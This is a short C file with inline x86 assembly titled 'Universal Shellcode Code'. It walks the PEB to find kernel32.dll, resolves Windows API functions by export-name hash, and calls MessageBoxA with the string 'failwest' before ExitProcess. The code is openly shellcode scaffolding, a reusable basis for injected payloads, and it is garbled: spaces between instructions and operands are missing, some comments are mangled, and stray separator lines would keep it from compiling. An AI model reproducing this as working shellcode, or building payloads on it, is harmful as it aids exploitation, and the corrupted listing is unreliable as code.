Universal Shellcode Code

#include <stdio.h>
#include <windows.h>

int main ()
{
__asm
{
CLD//empty flag bit DF
Push 0X1E380A6A//press-in Messageboxa-->user32.dll
Push 0x4fd18963//press-in Exitprocess-->kernel32.dll
Push 0x0c917432//press-in Loadlibrarya-->kernel32.dll
mov Esi,esp//esi=esp, pointing to the address in the stack where LoadLibraryA is stored
Lea Edi,[esi-0xc]//edi = stack top position -0xc, e.g. 0x0012ff28-0xc==0x0012ff1c
====== open up some stack space
Xorebx,ebx
movbh,0x04
Subesp,ebx
====== pressed into "user32.dll"
movbx,0x3233
pushebx//0x00003233
push0x72657375//user
Pushesp
Xoredx,edx//edx=0
====== looking for Kernel32.dll's base address.
MOVEBX,FS:[EDX+0X30]//[teb+0x30]-->peb
MOVECX,[EBX+0XC]//[PEB+0XC]--->peb_ldr_data
MOVECX,[ECX+0X1C]//[PEB_LDR_DATA+0X1C]--->ininitializationordermodulelist
MOVECX,[ECX]//Enter the list the first one is Ntdll.dll
Base Address of movebp,[ecx+0x8]//ebp= Kernel32.dll

Find_lib_functions:
LODSD//eax=[ds*10h+esi], read out is the LoadLibraryA hash
CMPEAX,0X1E380A6A//With the hash of the messageboxa is not equal, must jump
Jnefind_functions
Xchgeax,ebp
CALL[EDI-0X8]
Xchgeax,ebp

Find_functions:
Pushad//Protection register
MOVEAX,[EBP+0X3C]//PE Head
movecx,[ebp+eax+0x78]//pointers to exported tables
addecx,ebp//ecx=0x78c00000+0x262c
movebx,[ecx+0x20]//Name List of exported functions
ADDEBX,EBP//ebx=0x78c00000+0x353c
Xoredi,edi//Here it is.

Next_function_loop:
Incedi
MOV esi,[ebx+edi*4]//read from the list array
ADDESI,EBP//esi = Address of function name
Cdq

Hash_loop:
Movsxeax,byte Ptr[esi]
Cmpal,ah
Jzcompare_hash
Ror edx,7
Addedx,eax
Incesi
Jmphash_loop

Compare_hash:
CMPEDX,[ESP+0X1C]
Jnznext_function_loop


MOVEBX,[ECX+0X24]//
ADDEBX,EBP//= 0x78c00000+0x4424
MOV Di,[ebx+2*edi]
MOVEBX,[ECX+0X1C]
Addebx,ebp
Addebp,[ebx+4*edi]
Xchgeax,ebp
Popedi
Stosd

Pushedi
Popad

cmpeax,0x1e380a6a
Jnefind_lib_functions

Function_call:
Xorebx,ebx
PUSHEBX//cut String
push0x74736577
push0x6c696166//push Failwest
Moveax,esp
Pushebx
Pusheax
Pusheax
Pushebx
CALL[EDI-0X04]//callmessageboxa
Pushebx
CALL[EDI-0X08]//call exitprocess
Nop
Nop
Nop
Nop
}
return 0;
}

Universal Shellcode Code